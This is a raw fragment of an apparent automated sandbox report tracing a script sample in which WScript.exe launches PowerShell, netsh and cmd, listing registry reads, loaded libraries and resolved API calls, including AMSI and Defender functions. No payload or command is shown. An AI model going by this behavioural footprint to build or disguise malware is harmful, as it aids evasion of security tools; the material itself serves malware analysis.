"HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")31:T930,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004040-00000C17-1344806171 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004040-00000C17-1345303696 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004040-00000C17-1346238241 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004040-00000C17-1346493446 "powershell.exe" queries volume information of "C:\share" at 00000000-00004040-00000C17-1346495009 "powershell.exe" queries volume information of "C:\share" at 00000000-00004040-00000C17-1346574043 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004040-00000C17-1347322790 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004040-00000C17-1347466893 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004040-00000C17-1347519126 "netsh.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004156-00000C17-1357221915 "netsh.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004156-00000C17-1357245476 "netsh.exe" queries volume information of an entire harddrive"C:\" at 00000000-00003624-00000C17-1361924041 "netsh.exe" queries volume information of an entire harddrive"C:\" at 00000000-00003624-00000C17-1361950675 "netsh.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007396-00000C17-1368829649 "netsh.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007396-00000C17-136887173332:T56c,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESLASTSYNCTIME") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESENCODEDCTL") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")33:T4678,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004012) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004012) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\wininet.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Net.Http\04ab5d047cc99fc5dad36592f805b227\System.Net.Http.ni.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00004040) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00004040) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004156) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004156) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004156) "netsh.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004156) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00004156) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00004156) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00004156) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004156) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003624) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003624) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003624) "netsh.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003624) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00003624) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00003624) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00003624) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003624) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008164) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008164) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008164) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008164) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007396) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007396) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007396) "netsh.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007396) "netsh.exe" called "LoadLibrary" with a parameter Dhcpcsvc.dll (UID: 00000000-00007396) "netsh.exe" called "LoadLibrary" with a parameter api-ms-win-core-com-l1-1-0.dll (UID: 00000000-00007396) "netsh.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00007396) "netsh.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007396)34:T12751,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 